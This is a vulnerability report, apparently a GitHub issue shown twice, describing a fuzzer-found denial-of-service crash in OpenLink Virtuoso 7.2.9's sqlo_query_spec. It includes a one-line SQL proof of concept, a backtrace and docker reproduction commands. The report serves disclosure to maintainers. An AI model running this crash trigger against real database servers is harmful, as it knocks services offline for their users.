An issue in the sqlo_query_spec component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE mvtest_pdt1 AS (SELECT 1 AS col1) WITH DATA;
```
backtrace:
```c
#0 0x70d571 (sqlo_query_spec+0x41)
#1 0x7da2d4 (sqlc_insert+0x13b4)
#2 0x6b7387 (sql_stmt_comp+0x987)
#3 0x6ba122 (sql_compile_1+0x1a62)
#4 0x68276d (bif_exec+0x67d)
#5 0x74b044 (ins_call_bif+0xc4)
#6 0x758f09 (code_vec_run_1+0xdf9)
#7 0x7ac431 (qn_input+0x3c1)
#8 0x7c04fa (qr_subq_exec+0x94a)
#9 0x74c001 (ins_call+0xc91)
#10 0x74d9f0 (ins_call_vec+0x320)
#11 0x751205 (code_vec_run_v+0xa25)
#12 0x7ac3ff (qn_input+0x38f)
#13 0x7bdc6e (qr_exec+0x11ee)
#14 0x7c36fe (qr_rec_exec+0x34e)
#15 0x4e4076 (sql_ddl_node_input_1+0xc96)
#16 0x4e444e (sql_ddl_node_input+0x10e)
#17 0x7b9f1b (ddl_node_input_1+0x19b)
#18 0x7ba5f7 (qn_without_ac_at+0xc7)
#19 0x7ac43e (qn_input+0x3ce)
#20 0x7bee59 (qr_dml_array_exec+0x839)
#21 0x7cb872 (sf_sql_execute+0x15d2)
#22 0x7cbf4e (sf_sql_execute_w+0x17e)
#23 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#24 0xe1f01c (future_wrapper+0x3fc)
#25 0xe2691e (_thread_boot+0x11e)
#26 0x7f3405362609 (start_thread+0xd9)
#27 0x7f3405132133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
virtuoso 7.2.9 crashed at sqlo_query_spec
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : virtuoso 7.2.9 crashed at sqlo_query_spec
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE mvtest_pdt1 AS (SELECT 1 AS col1) WITH DATA;
```
backtrace:
```c
#0 0x70d571 (sqlo_query_spec+0x41)
#1 0x7da2d4 (sqlc_insert+0x13b4)
#2 0x6b7387 (sql_stmt_comp+0x987)
#3 0x6ba122 (sql_compile_1+0x1a62)
#4 0x68276d (bif_exec+0x67d)
#5 0x74b044 (ins_call_bif+0xc4)
#6 0x758f09 (code_vec_run_1+0xdf9)
#7 0x7ac431 (qn_input+0x3c1)
#8 0x7c04fa (qr_subq_exec+0x94a)
#9 0x74c001 (ins_call+0xc91)
#10 0x74d9f0 (ins_call_vec+0x320)
#11 0x751205 (code_vec_run_v+0xa25)
#12 0x7ac3ff (qn_input+0x38f)
#13 0x7bdc6e (qr_exec+0x11ee)
#14 0x7c36fe (qr_rec_exec+0x34e)
#15 0x4e4076 (sql_ddl_node_input_1+0xc96)
#16 0x4e444e (sql_ddl_node_input+0x10e)
#17 0x7b9f1b (ddl_node_input_1+0x19b)
#18 0x7ba5f7 (qn_without_ac_at+0xc7)
#19 0x7ac43e (qn_input+0x3ce)
#20 0x7bee59 (qr_dml_array_exec+0x839)
#21 0x7cb872 (sf_sql_execute+0x15d2)
#22 0x7cbf4e (sf_sql_execute_w+0x17e)
#23 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#24 0xe1f01c (future_wrapper+0x3fc)
#25 0xe2691e (_thread_boot+0x11e)
#26 0x7f3405362609 (start_thread+0xd9)
#27 0x7f3405132133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
--- end body ---
